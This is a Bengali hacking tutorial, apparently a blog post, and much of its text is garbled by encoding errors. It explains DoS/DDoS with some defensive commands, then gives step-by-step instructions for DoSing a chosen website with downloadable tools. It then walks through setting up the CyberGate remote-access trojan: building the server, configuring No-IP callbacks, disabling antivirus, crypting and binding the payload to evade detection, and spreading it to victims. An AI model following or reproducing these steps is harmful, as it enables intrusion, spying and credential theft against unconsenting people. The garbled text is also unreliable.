আমার কথাবাতŪ া িক একটু উȠট লাগেছ ? :S এতখন যা বললাম তা িক দুেবŪাধƟ লাগেছ ? তাহেল িনেচর িচƯগুেলা ĺদখুন বুেঝ জােবন িকভােব DoS 
এবং  DDoS   িকভােব কাজ কের । 
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একটা সাধারণ কােনকশন কাজ কের এই ভােব িনেচর িচেƯর মত কের 

 

িকˍ DoS  অƟাটাক টা হেǱ িনেচর মত  

আর DDoS অƟাটাক হেǱ িনেচর িচেƯর মত  
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হƟািকং িশখুন িনেজেক রǘা করার জনƟ অেনƟর ǘিত করার জনƟ নয় 

D0S / DDoS attack  এর কারন িক ?   

২ টা কারেন DoS/DDoS অƟাটাক হেš থােক । ১) হƟাকার এর ʛমতলেব অথবা ২) sysadmin  এর ভাল মতলব এ । আসুন ĺদেখ ĺনই ĺক িক কারেন 
অƟাটাক কের থােক  

  

১) হƟাকারেদর ʛমতলব : 

 খুবই নাটকীš উপােš ওই সাভŪ ার এ িনেজর িডিজটাল ফুটিƵȥ ঢাকার জনƟ ওই সাভŪ ার ĺক ĺবাকা বানানর উেțেশ 
 সব ĺথেক পুরাতন মানিবক ĺদাষ , রাগ অথবা ĺƠাধ ĺথেক িবনা কারেন ! 
 হšত হƟাকার ওই সাভŪ ার এ একটা ĺƪাজান ইȷটল কেরেছ িকˍ তা একǅভ করেত একটা িরʁাটŪ  লাগেব তার জনƟ এই অƟাটাক 
 অথবা শুধু মাƯ একজন িɼȹ িকিড িনেজর মুিȷšানা ĺদখােনার জনƟ ! 
 অথবা িনতাȭই ƵƟাকǅস এর উেțেশ । 

২) sysadmin  এর ভাল মতলব  

 নতুন ĺকান পƟাচ আপেডট অথবা ইȷটল করা হেল তার িʆিতশীলতা পরীǘা করার  উেțেশ 
 সাভŪ ার এবং িসেʁম এর ভালনািবিরিলǅ বা ভǩুরতা ĺক পরীǘা করার উেțেশ 
 িসেʁম এর রানঅƟাওেš ĺƵাƣাম এর ʰǅর কারেন 

 DoS / DDoS  িকভােব সাভŪ ার এর ১২ টা বাজাš ?  

DoS / DDoS  সাধারনত ২ ভােব সাভŪ ার এর ǘিত কের থােক । ১) সাভŪ ার ĺক ƠƟাশ কিরেš ২) সাভŪ ার ĺক Ƀাড কিরেš । ডস অƟাটাক এর কমন কাযŪƵণালী 
গুেলা হেǱ - 

  িবিভȵ রকম িরেসাসŪ গুেলা ĺযমন বƟাȨউইথ , Ƶেসসর টাইম, িডɾ ĺʊস ইতƟািদ  বƟʅ রাখা । 
  কনিফগােরশন ইনফেমŪশন ĺযমন রুǅং ইনফেমŪশন গুেলােক বƟাহত কের িবǡ করা । 
 ĺʁট ইনফেমŪশন  গুেলােক বƟাহত কের িবǡ করা । 
 িফিজকাল ĺনটওšাকŪ  এর িবিভȵ অংশ  গুেলােক বƟাহত কের িবǡ করা । 
 সাধারণ ইউজার এবং সাভŪ ার এর ĺভতর ĺযাগােযাগ িবিছȵ করা ও ĺযাগােযাগ ʆাপন করেত বাধা ĺদওšা 
 ĺমিশন এর মাইেƠােকাড গুেলােত এরর ĺদখােনা 
 Ƶেসসর এর সব ǘমতােক বƟবহার কের নতুন ĺকান কাজ শুরু হšা ĺথেক িবরত রােখ 

  

DoS / DDoS এর ĺথেক বাঁচার উপাš িক ?  

বাঁচার জনƟ Ƶথেম আপনােক জানেত হেব আপিন আƠাȭ িকনা , আর তা ĺবাঝার জনƟ ĺখšাল করুন ১) পƟােকট লস হেǱ িকনা অথবা অিতিরǏ মাƯাš সাভŪ ার ĺলট 
করেছ িকনা / লƟাগ হেǱ িকনা  , ২) অিতিরǏ সাভŪ ার ĺলাড !   আপনার সাভŪ ার এর সােথ সংযুǏ কােনকশন গুেলােক ĺচক করার জনƟ CMD  ĺথেক িনেচর 
কমাȨ ǅ িলখুন 

netstat -ntu | awk ‘{print $5}’ | cut -d: -f1 | sort | uniq -c | sort -n 

যিদ ĺদেখন ĺকান একটা িনিদŪɳ অথবা কাছা কািছ আইিপ ĺথেক ১০০ + কােনকশন হেšেছ তেব বুেঝ িনেবন ĺয খবর খারাপ   এবার আিস িকভােব আপনার সাভŪ ার 
ĺথেক একটা আইিপ ĺক বƟান করেবন … .. .. .. 

 যিদ আপনার সাভŪ াের APF firewall ইȷটল করা থােক তেব CMD ĺত িলখুন 

apf -d xx.xx.xx.xx 

 যিদ CSF firewall  ইȷটল করা থােক তেব িলখুন 

csf -d xx.xx.xx.xx 

 আর যিদ দুেটার একটাও না থােক , এবং আপিন যিদ শুধু iptables  ইউস কেরন তেব িলখুন 
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iptables -I INPUT 1 -s -j DROP xx.xx.xx.xx 

উেɨখ এখােন xx.xx.xx.xx  এর ʆেল ĺয আইিপ টা বƟান করেত চান তা বসেব   তেব বেল রাখা ভাল আপিন িনেজ সবসমšই সাভŪ ার এ বেস থাকেত পারেবন 
না এবং এর সুরত হাল এর খবর ও রাখেত পারেবন না । এর জনƟ আপনােক আপনার ĺহাসǅং এর উপর িনভŪর করেত হেব । এমন কােরা কাছ ĺথেক ĺহাসǅং িনেত 
হেব যারা সবসমš ĺডিডেকেটড ডস অƟাটাক সােপাটŪ  ĺদš । 

  

  

এছাŔা আেরা কতগুেলা িবষš আেছ ĺযগুেলার উপর ĺখšাল রাখেলই সাধারন ডস / িডডস অƟাটাক ĺথেক বাঁচেত পারেবন খুব সহেজই । আসুন ĺদেখ ĺনই ĺসগুল ĺকমন 

  

সাভŪ ার ĺমিশন এর সুরǘা িনিɩত করুন সবার আেগ  

অেনক সমš ĺদখা যাš হƟাকার রা ĺয সাভŪ ার ĺক অƟাটাক করেত চাš ĺসটােকই সবার আেগ ĺছাǾ একটা নাȵা মুȵা ĺƪাজান িদেš ধরাশাšী কের রােখ । ফলাফল , ডস 
অƟাটােকর সমš সাভŪ ার িনেজও িনেজর িবরুেȝ কাজ করা শুরু কের ! আপনােক িনিɩত করেত হেব সাভŪ ার িনেজ ĺযন সব িদক ĺথেক সুরিǘত থােক । এর জনƟ 
অযথা ĺকান ĺপনƬাইভ ĺথেক ĺকান ডাটা ƪাȷফার করেবন না , অরিǘত সাইট ঘরাঘুির করেবন না , অিনিɩত সুƯ ĺথেক Ƶাȼ ĺকান ফাইল সরাসির ওেপন করেবন না 
! ĺকান ĺকান ĺপাটŪ  গুেলা ওেপন রাখা জরুির তা ĺজেন িনন , অযথা অƵেšাজনীš ĺপাটŪ  ĺখালা ĺরেখ ঝােমলা বাŔােবন না । আপনার ĺকান ĺকান সাভŪ ার ĺপাটŪ  ĺখালা 
রাখা উিচত তা ĺজেন িনেত মাইেƠাসফট এর Microsoft Knowledge Base (KB) আǅŪ েকল  150543  হেত ĺজেন িনন । এটা ĺদখেত িǓক করুন এখােন । 

  

অপােরǅং িসেʁম এর িডফɝ িসʛƟিরǅ ĺথেক সেব Ū াǮ ফাšদা িনন 

উইেȨাজ অপােরǅং িসেʁম বƟবহার করেল িসেʁম ফাইল ĺচিকং [ System File Checking ( SFC) ]  এবং ইȥারেনট কােনকশন ফাšারওšাল [ Internet 
Connection Firewall ( IFC ) ] এনঅƟােবল কের িনন । এগুেলা িকˍ িডফɝ ভােব িডজঅƟােবল করা থােক ! এগুেলা আপনার সাভŪ ার িসেʁম এর িফɝািরং 
পারফেমŪȷ হঠাৎ কের বহুগুন বািŔেš িদেব । 

  

কােনকǅিভǅ কিমেš িদন  

আপনার সাভŪ ার এর সােথ ĺযাগােযাগ বা কােনকশন ʆাপন করার জনƟ খুব িনিদŪɳ িকছু ĺপাটŪ  িসেলǋ কের িদন যােত কের সাভŪ ার এবং কােনকǅং িসেʁম দুেটারই 
ফাšারওšাল সɑূণŪ বƟাপার তা ধরেত পাের । উদাহরণ ˰রূপ HTTP, SMTP, FTP, IMAP, এবং POP ĺপাটŪ  গুেলা িসেলǋ করুন আপনার সাভŪ ার এর সােথ 
কােনকশন এর জনƟ িনরধািরত ĺপাটŪ  গুেলা । এগুেলা অেনক সুরিǘত এবং িনিɩত  

  

ফাšারওšাল বƟবহার করুন 

উইেȨাজ এর ফাšারওšাল যেথɳ ভাল িকˍ পযŪ াȼ ভাল না ! এর জনƟ আপিন অনƟ ফাšার ওšাল ও বƟবহার কের ĺদখেত পােরন । এেত কের ইনবাউনড 
আউটবাউনড সব ধরেনর কােনকশন এর উপর খুব সহেজই আপিন ĺচাখ রাখেত পারেবন এবং আপনার িসেʁম ও সাভŪ ার সুরǘা ও ĺবেŔ যােব অেনক গুেন । কতগুল 
ভাল ফাšারওšাল এর Ǉকানা আিম এখােন িদেš িদিǱ ĺদেখ িনন 

Symantec  

Firewall 

Zone Alarm 

Comodo 
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এছাŔা DoS / DDoS attack  সলুƟশন এর সাহাযƟ ĺনওšা যাš । ĺযমন RioRey। 

আসল অংশ িকভােব DoS অƟাটাক করব ? 

অেনক ভােবই DoS  অƟাটাক করা যাš । তেব আিম নুব ĺƶȨিল / নতুন ĺদর জনƟ সহজ পȝিত টাই এখােন আজ ĺদখাব । িনেচর ধাপ গুেলা অনুসরন করুন 
তাহেল খুব সহেজই ĺয ĺকউ পারেবন ডস অƟাটাক করেত  

  

 

  

  

  

Ƶথেমই ĺদখেত হেব আমরা ĺয সাইট টােত ডস অƟাটাক করব তার সাভŪ ার ডস অƟাটােকর কােছ হার মানেব িকনা এবং এর আইিপ কত ! এটা ĺদখার জনƟ Ƶথেম 
http://uptime.netcraft.com  এই িলেǦ যান এবং ĺয সাইট টা আƠমন করেত চান তা িনেচর ĺদখােনা িচেƯর মত কের িনিদŪɳ বǙ এ িলখুন । 

  

  

 

  

 

  

  

  

এবার সাচŪ  ĺরজাɝ আসেল িনেচর িচƯ ĺত ĺদখােনা ২ টা অংশ লǘƟ করুন । Ƶথম ǅ আমােদর ĺক বলেব ওই িনিদŪɳ সাইট ǅ ডস অƟাটাক এ কাবু হেব নািক আর 

২š ǅ অথŪাৎ আইিপ অƟােƬস টা একটা ĺকাথাও িলেখ রাখুন 
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লǘƟ করুন Apache/1.3.27 ( Unix)  ĺলখা ǅ । এটা ওই িনিদŪɳ সাইট এর সাভŪ ার । এখােন যিদ িনেচর ৩ টার ĺযেকােনা একটা ĺদেখন তাহেল বুঝেবন ĺয এই 
সাইট এ ডস অƟাটাক কের ফলাফল পাওšা সɕব । 

  Apache 1.x 
 Apache 2.x 
 GoAhead WebServer 

এবার শুরু হেš যান আসল ĺখলার জনƟ  

 

  

  

DoS/DDoS অƟাটাক এর জনƟ অেনক উপাš আেছ । চাইেল আপিন CMD  ĺথেকও করেত পােরন তেব অেনক ǅেজ বȴুেদর সহজ পাচƟতার জনƟ আিম কতগুেলা 

ডস অƟাটাক টুল ĺশšার করিছ এগুেলা Mediafire এ আপেলাড কেরিছ । টুল গুল ডাউনেলাড করেত িǓক করুন এই খােন । এগুেলা ছাŔাও আপনার কােছ থাকা 
ĺযেকােনা টুল িদেš আপিন অƟাটাক করেত পােরন । আিম ডস টুল গুলর একটা ভাইরাস ɾƟান কেরিছ ĺসটার ও ĺরজাɝ িদেš িদিǱ িজপ ফাইল টা ওেপন করেত 
পাসওšাডŪ  হেǱ www.tunerpage.com 

File Info 

Report date: 2012-03-31 16:15:00 (GMT 1) 

File name: pie-rate-production-for-tunerp 

File size: 2162657 bytes 

MD5 Hash: 951c614d223c4cf8b40cb42aec114f46 
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SHA1 Hash: fa5c2ed8a3cd60aef0a976a45e2f50c02baa4516 

Detection rate: 0 on 9 (0%) 

Status: CLEAN 

Detections 

  

Avast - 

AVG - 

Avira AntiVir - 

ClamAV - 

Comodo - 

Emsisoft - 

F-Prot - 

Ikarus - 

TrendMicro - 

  

Scan report generated by NoVirusThanks.org 

  

 

  

  

  

এবার ĺযেকােনা একটা টুল িনেš কাজ শুরু কের িদন । ĺযেকােনা টুল ওেপন করেল আপিন ২-৩ টা অপশন পােবন । 

১) আইিপ 

২) সাইট অƟােƬস 

৩) ĺপাটŪ  

  

আইিপ এর ঘের িলখুন ওই আেগ টুেক ĺনওšা আইিপ অƟােƬস টা সাইট অƟােƬস এর ঘের িলখুন সাইট অƟােƬস আর ĺপাটŪ  থাকেল িলখুন ৮০   এবার অƟাটাক িǓক 
করুন । বƟাস কাজ ĺশষ । আপনার হেš বািক যা কাজ আপনার টুল ই কের িদেব যতǘণ ইǱা অƟাটাক করেত থাʛন । আর যিদ িডডস অƟাটাক করেত চান 
তেব বȴু বাȴেবর সাহাযƟ িনন ! 
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বƟািসক হƟািকং পবŪ ৮ – RAT িক? ĺকন?? িকভােব ? িবʅািরত  
বƟািসক হƟািকং এর ৮ম পেবŪ আলচনা করব RAT  িনেš আসুন ĺদরী না কের শুরু কের ĺদই কারণ এটা ĺমাটামুǅ িবশাল বŔ ǅউন হেš ĺজেত পাের  

তেব শুরু করার আেগ আিম বেল িনেত চাই আজেকর ǅউন খুব ই ʊশŪকাতর িবষš িনেš । আিম ĺশšার করিছ শুধুই ĺশখার উেțেশƟ । দšা কের অনƟ ĺকান মতলেব বƟবহার 
করেবন না । আর করেলও তার ভাল খারাপ ĺকান ধরেনর ফলাফেলর জনƟই ǅউনার ĺপজ অথবা আিম দাšী থাকব না  

Intro  

অিত উৎসাহীরা আবার ĺভেবন না আিম ইঁদুর িনেš আেলাচনা শুরু কের িদেšিছ আমােদর আেলাচƟ RAT  আমার কােছ লােগ পােসŪ ানাল ĺলেভল এর সব ĺথেক 

ভšǦরী অʃ  RAT এর পূণŪ রূপ হেǱ Remote Administration Tool । ĺসাজা বাংলােত বলেত ĺগেল RAT হেǱ এমন একটা সফটওšƟার যার সাহােযƟ 
এক বা একািধক কিɑউটার ĺক একই সােথ একই িসেʁম ʸারা িনšȫণ করা যাš ! িকˍ বাʅবতা মানেত ĺগেল RAT এর ĺথেকও অেনক ĺবশী িকছু । িকভােব 
আসুন িনেজরাই ĺবর কির  

  

আপনারা িক সবাই TeamViewer / UltraVNC  এগুেলার নাম শুেনেছন ? এগুেলার সােথ পিরিচত ? হেল বƟাপার টা অেনক সহজ হেš যােব 
TeamViewer, UltraVNC  এগুেলা িক  ̱RAT িকˍ এগুল িলগাল RAT কারন এখােনও অনƟ একটা িসেʁম এর সােথ কােনকশন করা হš , ĺসটা ĺত 
অপােরশন করা হš িকˍ সবই হš অনুমিত ĺদওšা ĺনওšা সােপেǘ। িকˍ আমরা ĺতা সবাই বদমাশ তাই আমরা খারাপ টা িনেšই আেলাচনা করব ইিɨগাল বা 
অৈবধ RAT এর কাযŪকরী ǘমতা িলগাল তার ĺথেক অেনক অেনক অেনক গুন ĺবশী । আজেক আমরা ĺসগুেলাই িবʅািরত আেলাচনা করব  

  

RAT আসেল অনƟ একটা িসেʁম এ িক িক করেত পাের ?  

 কীেবাডŪ  এবং মাউস কেȤাল করা 
 ɼীন , ওেšব কƟাম কেȤাল ও িɼনশট ĺনওšা 
 ফাইল মƟােনজেমȥ – মুভ , কিপ , ĺপʁ , িডিলট , Ʒাউজ , আপেলাড , ডাউনেলাড ইতƟািদ 
 ĺশল কেȤাল – ডস কমাȨ ইউজ করা 
 িপিস ইনফেমŪশন ĺযমন Ƶেসসর , ́াম , মাদারেবাডŪ  ইতƟািদ ĺশšার করা 
 ĺরিজিʀ ĺত ইǱামেতা অƟােǙস ĺনওšা 
 পাওšার কেȤাল করা 

ইদািনং কােলর িকছু ĺƪাজান পাওšা যাš যারা RAT  এর ǘমতার সমান অিধকারী , এেদর Ƶভাব িভকǅম এর িসেʁম এর উপর আরও ভšাবহ ! 

 পাসওšাডŪ  চুির করা , ĺƠিডট কাডŪ  এর িডেটল চুির করা 
 কীলিগং আচার বƟবহার 
 িসিড /িডিভিড রম যখন ইǱা খুলেত ও বȴ করেত পাের ! 
 িবনা কারেন ও ĺনাǅেশ মাউস কাসŪর ĺক ĺদৗŔােদৗিŔ করােত পাের এবং িǓক ও করেত পাের 
 এছাŔা আর হাজার কাজ করেত পাের একটা RAT ! 

  

RAT এর ĺকান Ƶকারেভদ আেছ িকনা ? 

শুরুেতই বেলিছ ĺযটা , RAT সাধারণত ২ রকম , একটা UDP  , ĺযটােত ĺকান ধরেণর ĺকান ĺপাটŪ  বƟব˲ত হš না [ইিɨগাল গুেলা ] আর অনƟটা TCP Sockets 
এবং UDP Sockets বƟবহার কের কােনকশন ʆাপন কের িবিভȵ ĺপােটŪ র মাধƟেম [ িলগাল গুেলা এধরেনর ] 
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ভাল RAT ĺকানগুেলা ? 

ĺহ ĺহ ĺহ ĺহ ! ! ! 

আিম এখােন কতগুেলা সবŪজন িবিদত ও িবখƟাত ৩ টা Remote Administration Tool  এর নাম এবং তােদর ডাউনেলাড িলǦ ĺশšার করব আসুন ĺদেখ 
ĺনই িক িক আেছ িলেʁ 

  

 DarkComet 
 Poison Ivy 

তেব সবেথেক িবখƟাত সɕবত CyberGate ।  Cybergate  ডাউনেলাড করেত িǓক করুন এইখােন । ĺযেহতু এটার ĺকান ডাইেরǋ ডাউনেলাড পাইিন তাই আিম 

এটা িমিডšাফাšার এ আপেলাড কের িদেšিছ সােথ এটার ভাইরাস ɾƟান ও িদেš িদিǱ  

File Info 

Report date: 2012-04-01 23:52:11 (GMT 1) 
File name: cybergate-v1-07-5-zip 
File size: 2389553 bytes 
MD5 Hash: 7207dd93f9ac027059e7e4ef7d310686 
SHA1 Hash: 75636952e912d6c889e31af7be98ec4610ecee54 
Detection rate: 5 on 9 (56% ) 
Status: INFECTED 

Detections 

Avast - 
AVG - 
Avira AntiVir – BDS/Backdoor.Gen 
ClamAV - 
Comodo – Heur.Pck.EXECryptor 
Emsisoft – Trojan-Dropper.Win32.Decay!IK 
F-Prot – W32/MalwareF.GMQY 
Ikarus – Trojan-Dropper.Win32.Decay 
TrendMicro - 

Scan report generated by 
NoVirusThanks.org 

  

  

িরেপাটŪ  ĺদেখ ভš পােবন না এটা আপনার িপিস এর ĺকান Ƶকার ǘিত করেব না িনিɩত থাকেত পােরন । আর িনিɩত না থাকেল িনেচ আর ĺদখার দরকার 
ĺনই ;] জলিদ জলিদ উইেȨা টা ĺǓাজ কের িদন । 
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িকভােব একটা RAT  ĺসটআপ করব ? 

আপিন আপনার পছȱ মত ĺযেকােনা RAT  ই বƟবহার করেত পােরন তেব আিম এখােন আজ Cyber Gate  এর িবʅািরত ĺসটআপ ĺদখাব । তেব এটা ছারাও 
ǅউনার ĺপেজ RAT  ĺসট আপ িনেš অেনক চমৎকার চমৎকার ǅউেটািরšাল আেছ । ĺযমন TJ- Mir  ভাইেšর চমৎকার ǅউন টা ĺদখার জনƟ িǓক করুন 
এখােন । 

Cyber Gate 

Cyber Gate ĺসটআপ করেত আপনােক কতগুল িজিনস আেগ ডাউনেলাড করেত হেব । ডাউনেলাড করেত নামগুেলার উপর িǓক করুন । 

 No-IP Duc 
 Winrar / Winzip  

Ƶথেমই Ƶেšাজনীš সফট গুেলা ডাউনেলাড কের িনন । এবার দšা কের অƟািȥভাইরাস টা ĺǓাজ কের িদন ভš ĺনই িকছু হেব না আপনার সােধর িপিস ĺত । এর 
পর িনেচর ধাপ গুেলা অনুসরন করেত থাʛন 

 

  

  

  

Ƶথেমই http://www.no-ip.com/  এই সাইট এ যান এবং িনেচর িচেƯর মত ĺদখান জাšগাš িǓক কের ĺরিজেʀশন ƵিƠšা শুরু করুন 

 

  

 

  

  

ĺয ĺপজ আসেব ĺসখান ĺথেক Free DNS িসেলǋ করুন 
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এবার িনেচর িচেƯর মত কের ĺদখান িফɟ গুেলা পূরণ করুন 

 

  

 

এবার একেসȹ করেল আপনার ইেমইল আইিড ĺত এিǏ কনফােমŪশন িলǦ যােব ওটােত িǓক কের আপনার আইিড কনফামŪ কের িনন । কনফামŪ হেল লিগন ĺপেজ যান 
এবং আপনার Ƶদȑ ইেমইল আইিড এবং পাসওšাডŪ  িদেš লিগন করুন 
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এবার লিগন ƵিƠšা সɑȵ হেল িনেচর িচেƯর মত কের Add a Host  এ িǓক করুন 

 

  

 

এবার ĺয ĺপজ আসেব ওখােন িনেচর ছিবর মত কের ১ না˘ার ঘের আপনার যা ইǱা িলেখ ২ না˘ার ঘর ĺথেক ĺযটা ইǱা ĺডােমইন িসেলǋ কের Create Host  এ 
িǓক করুন 
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এবার আমরা কাজ শরুু করব No-IP DIC  িনেš । ĺযটা আপিন ইেতামেধƟ ডাউনেলাড কের ĺফেলেছন । এবার ফাইল টােক ইȷটল কের ĺফলুন জলিদ জলিদ । 
ইȷটল ĺশষ হেল ওেপন করুন No-IP DIC  ĺƵাƣাম টা । ওেপন হেল একটু আেগ http://www.no-ip.com/  ĺত  Ļতির করা আইিড ও পাসওšাডŪ  িদেš লিগন 
করুন । 

 

  

 

লগ ইন হেল িনেচর ছিবর মত কের Ƶথেম Select Host  এ িǓক করুন । এেত একটা ĺছাট বǙ ওেপন হেব ĺযখােন আপনার একটু আেগ Ļতির করা ĺহাসট টা 
তািলকাভুǏ থাকেব । এটার বাম পােশর বেǙ ǅক িদেš ĺসভ করুন 
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এবার Cyber Ghost এর পালা। ডাউনেলাড করা িজপ ĺফাɟার টা আনিজপ কেরন এবং ĺƵাƣাম টা ওেপন করুন । ওেপন হেল িনেচর ছিবর মত কের Ƶথেম 
Control Center এবং তার পর Start এ িǓক করুন 

 

 

আবার Control Center  এ িǓক কের Options > Select Listening Ports  এ িǓক করুন 
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এবার ĺয বǙ ওেপন হেব ওখােনর ১ না˘ার ঘের িলখুন 100  এবং ২ না˘ার এ িǓক করুন । ৩ না˘ার ঘের কােনকশন এর সংখƟা ৫০০ করুন এবং পেরর ঘের 
আপনার পছȱমত ĺকান পাসওšাডŪ  িদন এবং ĺসভ করুন 

 

 

আবার control center  এ িǓক কের Builder > Create Server  এ িǓক করুন 
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Create Server  উইেȨা ওেপন হেল New এ িǓক কের আপনার পছȱ মত ĺযেকােনা নাম িদেš ওেক করুন 

 

 

এবার মাƯ Ļতির করা সাভŪ ার িত িসেলǋ কের Forward এ িǓক করুন 

 

 

পেরর উইেȨা ĺত ĺযই DNS ই থাʛক না ĺকন তা িǓক কের িসেলǋ কের িডিলট করুন 
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এবার Add  বাটেন িǓক কের ৬ না˘ার ĺʁপ এ Ļতির করা ĺহাসট : 100  িলখুন িনেচর ছিবর মত কের এবং ওেক করুন 

 

 

এবার Identification এর ঘের ĺযেকােনা আইিড িলখেত পােরন এবং পাসওšাডŪ  এর ঘের পাসওšাডŪ  িলখুন 

 

  

 

এবার উপর ĺথেক Installation টƟাব িসেলǋ কের িনেচর ছিবর মত কের সব ĺসǅং̧  িমিলেš Ǉক কের িনন । উেɨখƟ ২টা Random বাটন এ উরাধুরা 
কেšকবার িǓক কের িনন । 
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এবার Create Server  টƟাব ĺথেক িনেচর ছিবর মত কের িমিলেš Ǉক কের িনন এবং Create server  এ িǓক করুন 

 

 

RAT  ĺসটআপ এর কাজ ĺশষ । এখন িনেজর পছȱ মত নাম িদেš ইǱামত জাšগা ĺত .exe  ফাইল টা ĺসভ করুন 
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এটা িছল পুেরা কােজর ৫০% মাƯ । বািক ২৫% হেǱ ĺপাটŪ  ফরওšািডŪ ং এবং অনƟ ২৫% হেǱ িƠপǅং  

  

যিদ আপিন আমার মত ইথারেনট + লƟান কাডŪ  ʸারা ইȥারেনট এ সংযুǏ থােকন তেব আপনার ĺপাটŪ ফরওšািডŪ ং দরকার ĺনই 

তেব ওšারেলস এবং রাউটার ʸারা সংযুǏ হেš থাকেল ĺপাটŪ ফরওšািডŪ ং পুরাপুির দরকার । ĺযেহতু ĺপাটŪ ফরওšািডŪ ং বƟাপার টা বহুত ĺগালেমেল এবং বŔসŔ তাই আিম 
এখােন আজ িলখিছ না িকভােব ĺপাটŪ ফরওšািডŪ ং করেবন । তেব খুব জলিদ ই আলাদা একটা ǅউন করব এ বƟাপাের  

  

এবার আিস িƠপǅং এর বƟাপাের । আমরা এতǘেণ ĺয RAT  সারভার টা বানালাম ĺখšাল কের ĺদেখেছন ĺয ওটা .exe ফরমƟাট এর ? ĺযেকােনা অƟািȥভাইরাস [ 
ĺহাক না ĺসটা ১৮৪৫ সােলর ] ওটােক ĺপেল আনেȱ লাফালািফ করেব তাই আমরা এবার আমােদর Ļতির সাভŪ ার তােক ʍাটŪ  বানাব যােত ĺস খুব সহেজই 
অƟািȥভাইরাস এবং ফাšার ওšাল ĺক ĺধাঁকা িদেত পাের । িƠপǅং ছাŔা বাইনডার এর সাহাǵ ও িনেত পােরন । তেব তার আেগ একটু হাɚা িবদƟা ĺঝেŔ ĺনই । 
িƠেȹাƣািফ িনেš আিম িবশাল একটা ǅউন কেরিছ তাই সɑূণŪ িডেটল এ যাব না । শুধু বলব িƠপটার িকভােব কাজ কের । 

সহজ ভাষাš বলেত ĺগেল আমরা ĺযভােব একটা ফাইল বা কিɑউটার এর সফট যা িকছু ĺদিখ কিɑউটার িনেজ অথবা অƟািȥভাইরাস গুেলা ĺসভােব ĺদেখ না , তারা 
ĺদেখ ĺকািডং । িƠপটার এই ĺƵাƣাম এর বাইনারী ĺকািডং এমন ভােব ɼƟা˘ল করেব ĺয অƟািȥভাইরাস এর বাবা দাদার ǘমতা হেব না ওই ফাইল টােক .exe  ই 
িহেসেব ĺদখেত ফলাফল ? খুব সহেজই এটা অƟািȥভাইরাস ĺক ফািক িদেš িনেজেক বাঁিচেš রাখেত পারেব 

  

এবং বাইনডার হেǱ অনƟ ĺযেকােনা একটা ফাইল এর সােথ আমােদর আদেরর বাছাধন সাভŪ ার ĺক যুǏ কের ĺদওšা । ধরুন একটা গান এর সােথ আমরা সাভŪ ার টােক 
বাইȨ কের িদলাম । এখােন আমরা যিদ গানটােক িƵিȷপাল এবং সাভŪ ার টােক ĺʎভ িহেসেব বাইȨ কির তাহেল িকˍ এটার এǙেটনশন গােনর এǙেটনশন ই ĺদখােব 
.exe ĺদখােব না তেব এটা যেথɳ কাযŪকরী পȝিত না তাই আিম বলব িƠȼার বƟবহার করেত  

এই িƠȼার এবং বাইȨার গুেলার ইȥারেফস এত সহজ এবং কাজ ও এত সহজ ĺয নাȵা মুȵা বাǮারাও করেত পারেব তাই আিম আর ĺবিশ িডেটল এ যািǱ না ĺয 
িকভােব একটা ফাইল এনিƠপট বা বাইȨ করেবন । আিম শুদু ১ টা িƠপটার আর একটা বাইȨার এর ডাউনেলাড িলǦ িদেš িদিǱ  

JPG+FileBinder [ এটা িদেš শুধু JPG  িপকচার এর সােথ বাইȨ করেত পারেবন ] 

O-crypter 
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এখন িকভােব আিম কাউেক এটা িদেš আƠাȭ করব ? 

  

আƠাȭ করার আেগ খুব বƟািসক কতগুল িজিনস ĺখšাল রাখেত হেব তাহেলই ĺকɨা ফেত  

 আপনার No-IP DNS  ĺযন সবসমšই ওেপন এবং রািনং অবʆাš থােক 

 সাভŪ ার Ļতিরর সমš DNS এবং সব ধরেণর এিȤ ĺযন Ǉকঠাক থােক অথŪাৎ ĺকান Ƶকার সুǘ ভুল ও এই পুর কɳকর ƵিƠšা টােক পািনেত ছুের িদেব  
 িলেসিনং ĺপাটŪ  এবং সাভŪ ার এর পাসওšাডŪ  ĺযন একই হš 
 আপনার ফাšারওšাল ĺযন আপনােক কােনকশন করেত বাধা না ĺদš 

  

মেন রাখেবন যিদ আপনার অƟািȥভাইরাস একবার Cyber gate  ĺক ধরেত পাের তাহেল আবার সবিকছু শুরু ĺথেক শুরু করেত হেব । 

  

আƠাȭ করার অেনক পȝিত আেছ । ĺযটা িনরভর কের আপিন কােক আƠাȭ করেত চােǱন । যিদ ĺকান িনিদŪɳ বƟিǏ ĺক আƠাȭ করেত হš তেব তােক ʁািড করুন 
, তার দুবŪলতা টা ĺবর করুন এবং ĺসটােক কােজ লাগান । 

যিদ বƟাপক পিরমােন এবং ́ানডম হাের মানুষ ĺক আƠাȭ করেত চান তাহেল ĺসাশƟাল ĺনটওšাকŪ  গুেলার সাহাযƟ িনন । এটা অেনক িবʅািরত একটা িবষš । এই 
িসিরেজর পরবতʗ ĺকান ǅউন এ আিম ĺশšার করব িকভােব িনেজর Ļতির আকােমর বʅা গুেলা ছিŔেš িছǅেš [ spreading ] িদেবন । 

  

িকভােব বুঝব ĺয ĺকউ আƠাȭ হেšেছ ? 

আপনার cyber gate  ইȥারেফস টা ওেপন করা থাকেল ĺকউ আƠাȭ হেল ˰šংিƠš ভােবই ওই উইেȨা ĺত চেল আসেব । আর সহজবধƟতার জনƟ িনেচর ছিব ǅ 
ĺখšাল করুন । 
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বুঝলাম ĺতা আƠাȭ হেšেছ এবার িক করব ? িকভােব বƟাটার ১৪ টা বাজাব ?  

যার ১৪ টা বাঁজােত চান cyber gate  ĺথেক তার উপর খািল একটা রাইট িǓক করুন বািক সব ĺতা পািনর মত সহজ । িনেচর ছিব টা ĺদখুন  

 

এইেতা ! আর িকছু ĺতা ĺলখার বািক ĺনই মেন হš :/ তারপর ও ĺকান িজǷাসা থাকেল িনি Ūyধাš Ƶɬ করুন মȭবƟ ĺত । ভাল লাগা , খারাপ লাগা , পরবতʗ ĺত িক 
িনেš ǅউন ĺদখেত চান সব ই িলখেত পােরন । আর কɳ কের পুেরাটা পŔার জনƟ অসংখƟ ধনƟবাদ আপনােক সােথই থাʛন সুʆ থাʛন । 
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